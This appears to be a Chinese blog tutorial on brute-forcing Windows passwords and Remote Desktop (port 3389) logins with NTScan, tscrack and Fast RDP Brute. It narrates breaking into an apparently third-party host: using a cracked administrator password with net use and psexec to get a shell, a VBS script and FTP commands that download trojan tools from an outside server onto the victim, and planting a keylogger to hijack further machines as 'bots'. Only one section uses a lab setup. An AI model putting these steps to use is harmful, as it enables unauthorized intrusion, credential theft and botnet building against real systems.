密码安全系列文章7:Windows口令扫描及3389口令暴力破解
suiw9 2024-11-11 15:52 51 浏览 0 评论
在Windows操作系统渗透过程中,除了SQL注入、Web服务漏洞攻击等方式外,还有一种攻击方式,即暴力破解,对3389或者内网的服务器进行口令扫描攻击,以获取更多的服务器权限。这种攻击尤其是在拥有一台或者多台服务器权限后,目前口令扫描有Hscan、NTscan等,本章主要介绍如何进行口令扫描以及利用tscrack、Fast RDP Brute等工具软件来暴力破解3389口令,最终获取服务器权限。
7.1口令扫描准备工作
在进行口令扫描前需要做一些准备工作,收集信息越多,越有可能成功获取内网服务器权限。例如掌握一定权限后,通过邮箱帐号等信息,进行社工密码收集,对用户的密码进行规律分析和社工字典生成。
1.确定需要扫描的IP地址或者IP地址段
2.收集用户名和密码,常见的是Administrator为用户较多,但在内网中,很多用户都喜欢使用个性化名字进行登录,因此需要收集一些用户名;密码字典的整理尤其重要,可以包含网站使用过的密码,社工库邮件地址或者用户名查询到的密码,公司名称,电话号码,出生日期,手机号码,QQ号码等。
3.编辑密码和口令配置文件
7.2使用NTScan扫描口令实例
Windows口令扫描攻击主要针对某一个IP地址或者某一个网段进口令扫描,实质是通过139、445等端口来尝试建立连接,其利用的是Dos命令“net use \\ipaddress\admin$ “password” /u:user”,只不过通过程序来实现而已。下面的案例通过扫描软件NTScan来扫描口令,扫描出口令后成功实施控制的案例。
1.设置NTScan
直接运行NTscan,在NTscan中一般只需要设置开始IP和结束IP两个地方,其它设置均可以采取默认,如图1所示。
&说明
①如果是在肉鸡上面精细管理扫描,由于语言版本的不同,如果操作系统不支持中文显示,就有可能显示为乱码,这个时候设置就只能凭熟悉度来进行设置,在本例中是在英文操作系统中使用NTscan,在其运行界面中一些汉字显示为“?”,但是不影响扫描使用,如图2所示。
②在NTscan中有IPC、SMB和WMI三种扫描方式,第一种和第三种方式扫描口令较为有效,第二种主要用来扫描共享文件。利用IPC$可以与目标主机建立一个空的连接而无需用户名与密码,而且还可以得到目标主机上的用户列表。SMB(服务器信息块)协议是一种IBM协议,用于在计算机间共享文件、打印机、串口等。SMB 协议可以用在因特网的TCP/IP协议之上,也可以用在其它网络协议如IPX和NetBEUI 之上。
③WMI(Windows管理规范)是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特定日期和时间运行的进程;远程启动计算机;获得本地或远程计算机的已安装程序列表;查询本地或远程计算机的Windows事件日志等等。一般情况下,在本地计算机上执行的WMI操作也可以在远程计算机上执行,只要用户拥有该计算机的管理员权限。如果用户对远程计算机拥有权限并且远程计算机支持远程访问,那么用户就可以连接到该远程计算机并执行拥有相应权限的操作。
2.执行扫描
在NTscan运行界面中单击“开始”按钮或者单击左窗口下面的第一按钮(如果显示为乱码),开始扫描,如图3所示。
&说明
①NTscan扫描口令跟字典有关,其原理就是使用字典中的口令跟实际口令进行对比,如果相同即可建立连接,即破解成功,破解成功后会在下方显示。
②NTscan的字典文件为NT_pass.dic,用户文件为NT_user.dic,可以根据实际情况对字典文件和用户文件内容进行修改。
③NTscan扫描结束后,会在NTscan程序当前目录下生成一个NTscan.txt文件,该文件记录扫描结果,如图4所示。
④在NTscan中还有一些辅助功能,例如右键单击后可以执行“cmd”命令,左键单击后可以执行“连接”、“打开远程登陆”以及“映射网络驱动器”等命令,如图5所示。
3.实施控制
在Dos命令提示符下输入“net use \\221.*.*.*\admin$ "mrs6100" /u:administrator”命令获取主机的管理员权限。命令执行成功,如图6所示。
4.执行Psexec命令
输入“psexec \\221.*.*.* cmd”命令获取一个DosShell,如图7所示。
&说明
①以上两步可以合并,直接在Dos命令提示符下输入“psexec \\ipaddress –u administrator -ppassword cmd”。例如在上例中可以输入“psexec \\221.*.*.* -u Administrator –pmrs6100 cmd”命令来获取一个Dos下的Shell。
②在有些情况下使用“psexec \\ipaddress –u administrator -ppassword cmd”命令不能正常执行。
5.从远端查看被入侵计算机端口开放情况
使用“sfind –p 221.*.*.*”命令查看远程主机端口开放情况,该主机仅仅开放了4899端口,如图8所示。
6.上传文件
在该DosShell下执行文件下载命令,将一些工具软件或者木马软件上传的被攻击计算机上面,如图9所示。
&说明
①可以使用以下vbs脚本命令来上传文件。
echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe
echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>dl.vbe
echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe
echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe
cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe
②如果不能通过执行vbs脚本来上传文件,则可以通过执行ftp命令来上传文件,ftp命令如下:
echo open 192.168.1.1 >b
echo ftp>>b
echo ftp>>b
echo bin>>b
echo get systeminfo.exe >>b
echo bye >>b
ftp -s:b
7.并查看主机基本信息
执行“systeminfo info”可以查看被入侵计算机的基本信息,该计算机操作系统为Windows 2000 Professional,如图10所示
8.进行渗透
在本案例中,由于对方计算机安装有Radmin,因此极有可能保留有Radmin的控制信息,通过“开始”-“程序”-“Remote Administrator v2.2”-“Remote Administrator viewer”打开Radmin2.0版本的客户端控制器,在其中有两个IP地址,如图11所示,不过不知道连接密码,安装一个键盘记录,等待用户自己连接,监听用户的键盘记录,到时候就可以将用户的控制端作为肉鸡,这种肉鸡质量很高。
9.小结
本案例通过NTscan扫描工具软件扫描主机口令,配合psexec等命令成功控制控制扫描出弱口令的计算机,其实在本案例中,该口令并不算弱口令,将被控制计算机的口令作为扫描口令,有时候会控制一大片计算机作为好肉鸡。
7.3使用tscrack扫描3389口令
3389终端攻击主要通过3389破解登陆器(tscrack)来实现的,tscrack是微软开发远程终端服务(3389)的测试产品,后面有人将其做了一些修改,可以用来破解3389口令;其核心原理就是利用字典配合远程终端登陆器进行尝试登陆,一旦登陆成功则认为破解成功。破解成功主要取决于字典强度和时间长度,在成功进入内网后,借助该方法可以对内网3389服务器进行渗透,该方法对Windows 2000 Server攻击效果较佳。
1.安装Tscrack软件
tscrack初次运行时需要进行安装,即直接运行tscrack.exe程序即可,如果不能正常运行则需要运行“tscrack -U”命令卸载tscrack中的组件以后再次运行tscrack.exe即可。运行成功后,会提示安装组件、解压缩组件、注册组件成功,如图12所示。
2.寻找开放3389的IP地址
在Dos提示符下输入“sfind –p 220.*.*.*”,探测其端口开放情况,如图13所示。
3. 构建字典文件
构建字典文件100words.txt,在100words.txt文件中加入破解口令,每一个口令占用独立的一行,且行尾无空格,编辑完成后,如图14所示。
4.编辑破解命令
如果仅仅是对单个IP地址进行破解,其破解命令格式为“tscrack ip –w 100words.txt”,如果是对多个ip地址进行破解,则可以将ip地址整理成一个文件,每一个ip地址占一行,且行尾无空格,将其保存为ip.txt,然后可以编辑一个批命令,如图15所示。
&说明
(1)在原程序tscrack.exe可以更改为任意名称,100words.txt也可以是任意名称。
(2)如果是对多个IP地址进行破解,则字典文件不能太大,否则破解时间会很长,建议是针对单一的IP地址进行破解。
5.破解3389口令
运行批命令后,远程终端破解程序开始破解,tscrack会使用字典的口令一个一个的进行尝试登陆,只是程序自动输入密码,如图16所示,在程序破解过程中不要进行手动干涉,让程序自动进行破解。
6.破解成功
当破解成功后,程序会自动结束,显示破解的口令和破解该口令所花费的时间,如图17所示。
&说明
(1)Tscrack破解3389终端口令后不会生成log文件,破解的口令显示在Dos窗口,一旦Dos窗口关闭,所有结果都不会保存。
(2)如果是对多个IP地址进行3389终端口令破解,Tscrack程序会将所有IP地址都进行破解尝试后才会停止。
(3)Tscrack破解3389终端口令相对应的用户只能是Administrator,对其它用户无能为力。
7.使用口令和用户登陆
运行mstsc.exe打开终端连接器,输入IP地址进行连接,在3389连接界面中输入刚才破解的密码和Administrator用户,连接成功,如图18所示。
8.小结
本案例通过tscrack程序来破解远程终端(3389)的口令,只要字典足够强大以及时间足够,如果对方未采取IP地址登陆限制等安全措施,则其口令在理论上是可以破解的,不过在微软升级补丁后该方法仅对Window 2000 Server效果较好,对Windows 2003以及以上版本效果不佳。应对3389远程终端口令破解的安全措施是进行IP地址信任连接,或者通过一些软件来限制只有某一些IP地址才能访问远程终端。
7.5使用Fast RDP Brute暴力破解3389口令
1.软件简介
Fast RDP Brute 是俄罗斯Roleg开发的一款暴力破解工具,主要用于扫描远程桌面连接弱口令的工具。官方网站下载地址http://stascorp.com/load/1-1-0-58,运行软件后界面如图19所示。
2. 设置主要参数
(1)Max threads:设置扫描线程数,默认为1000,一般不用修改。
(2)Scan timeout:设置超时时间,默认为2000,一般不用修改。
(3)Thread timeout:设置线程超时时间,默认为60000,一般不用修改。
(4)Scan ports:设置要扫描的端口,根据实际情况设置,默认为3389,3390和3391,在实际扫描过程中如果是对某一个已知IP和端口进行扫描,建议删除多于端口,例如对方端口为3388,则只保留3388即可。
(5)Ip ranges to scan: 设置扫描的ip范围
(6)用户名和密码可以在文件夹下的user.txt和pass.txt文件内自行设置。如图20所示,在默认的user.txt中包含俄文的管理员,一般用不上,可以根据实际情况进行设置。
3.局域网扫描测试
本次测试采用Vmware,搭建了两个平台,扫描主机IP地址为“192.168.148.128”;被扫描主机IP为“192.168.148.132”,操作系统为Win2003,开放3389端口,在该服务器上新建立test、antian365用户,并将设置的密码复制到扫描字典中,单击“start scan”进行扫描,扫描结果如图21所示。
注意:
(1)在192.168.148.132服务器上必须开启3389。
(2)在扫描服务器上执行mstsc命令,输入IP地址192.168.148.132进行3389登录测试,看看能否访问网络,如果无法访问网络,则扫描就无效。
4.总结与思考
(1)该软件虽然提供多个用户同时扫描,但只要扫描出一个结果后,软件就停止扫描。对于多用户扫描,可以在扫描出结果后,将已经扫描出来的用户删除后继续进行扫描,或者针对单用户进行扫描
(2)扫描时间或者连接次数较多时,会显示too many errors错误。如图22所示
(3)该软件可以对单个用户进行已知密码扫描,在已经获取内网权限下,可以对整个网络开放3389的主机进行扫描,获取权限。
(4)在网上对另外一个软件“DUBrute V4.2 RC”也进行3389密码暴力破解测试,测试环境同上,实际测试效果无法破解。
相关推荐
- 看完这一篇数据仓库干货,终于搞懂什么是hive了
-
一、Hive定义Hive最早来源于FaceBook,因为FaceBook网站每天产生海量的结构化日志数据,为了对这些数据进行管理,并且因为机器学习的需求,产生了Hive这们技术,并继续发展成为一个成...
- 真正让你明白Hive参数调优系列1:控制map个数与性能调优参数
-
本系列几章系统地介绍了开发中Hive常见的用户配置属性(有时称为参数,变量或选项),并说明了哪些版本引入了哪些属性,常见有哪些属性的使用,哪些属性可以进行Hive调优,以及如何使用的问题。以及日常Hi...
- HIVE SQL基础语法(hive sql是什么)
-
引言与关系型数据库的SQL略有不同,但支持了绝大多数的语句如DDL、DML以及常见的聚合函数、连接查询、条件查询。HIVE不适合用于联机事务处理,也不提供实时查询功能。它最适合应用在基于大量不可变数据...
- [干货]Hive与Spark sql整合并测试效率
-
在目前的大数据架构中hive是用来做离线数据分析的,而在Spark1.4版本中spark加入了sparksql,我们知道spark的优势是速度快,那么到底sparksql会比hive...
- Hive 常用的函数(hive 数学函数)
-
一、Hive函数概述及分类标准概述Hive内建了不少函数,用于满足用户不同使用需求,提高SQL编写效率:...
- 数仓/数开面试题真题总结(二)(数仓面试时应该讲些什么)
-
二.Hive...
- Tomcat处理HTTP请求流程解析(tomcat 处理请求过程)
-
1、一个简单的HTTP服务器在Web应用中,浏览器请求一个URL,服务器就把生成的HTML网页发送给浏览器,而浏览器和服务器之间的传输协议是HTTP,那么接下来我们看下如何用Java来实现一个简单...
- Python 高级编程之网络编程 Socket(六)
-
一、概述Python网络编程是指使用Python语言编写的网络应用程序。这种编程涉及到网络通信、套接字编程、协议解析等多种方面的知识。...
- [904]ScalersTalk成长会Python小组第20周学习笔记
-
Scalers点评:在2015年,ScalersTalk成长会Python小组完成了《Python核心编程》第1轮的学习。到2016年,我们开始第二轮的学习,并且将重点放在章节的习题上。Python小...
- 「web开发」几款http请求测试工具
-
curl命令CURL(CommandLineUniformResourceLocator),是一个利用URL语法,在命令行终端下使用的网络请求工具,支持HTTP、HTTPS、FTP等协议...
- Mac 基于HTTP方式访问下载共享文件,配置共享服务器
-
方法一:使用Python的SimpleHTTPServer进行局域网文件共享Mac自带Python,所以不需要安装其他软件,一条命令即可...
- 使用curl进行http高并发访问(php curl 大量并发获得结果)
-
本文主要介绍curl异步接口的使用方式,以及获取高性能的一些思路和实践。同时假设读者已经熟悉并且使用过同步接口。1.curl接口基本介绍curl一共有三种接口:EasyInterface...
- Django 中的 HttpResponse理解和用法-基础篇1
-
思路是方向,代码是时间,知识需积累,经验需摸索。希望对大家有用,有错误还望指出。...
你 发表评论:
欢迎- 一周热门
-
-
Linux:Ubuntu22.04上安装python3.11,简单易上手
-
宝马阿布达比分公司推出独特M4升级套件,整套升级约在20万
-
MATLAB中图片保存的五种方法(一)(matlab中保存图片命令)
-
别再傻傻搞不清楚Workstation Player和Workstation Pro的区别了
-
Linux上使用tinyproxy快速搭建HTTP/HTTPS代理器
-
如何提取、修改、强刷A卡bios a卡刷bios工具
-
Element Plus 的 Dialog 组件实现点击遮罩层不关闭对话框
-
日本组合“岚”将于2020年12月31日停止团体活动
-
SpringCloud OpenFeign 使用 okhttp 发送 HTTP 请求与 HTTP/2 探索
-
tinymce 号称富文本编辑器世界第一,大家同意么?
-
- 最近发表
- 标签列表
-
- dialog.js (57)
- importnew (44)
- windows93网页版 (44)
- yii2框架的优缺点 (45)
- tinyeditor (45)
- qt5.5 (60)
- windowsserver2016镜像下载 (52)
- okhttputils (51)
- android-gif-drawable (53)
- 时间轴插件 (56)
- docker systemd (65)
- slider.js (47)
- android webview缓存 (46)
- pagination.js (59)
- loadjs (62)
- openssl1.0.2 (48)
- velocity模板引擎 (48)
- pcre library (47)
- zabbix微信报警脚本 (63)
- jnetpcap (49)
- pdfrenderer (43)
- fastutil (48)
- uinavigationcontroller (53)
- bitbucket.org (44)
- python websocket-client (47)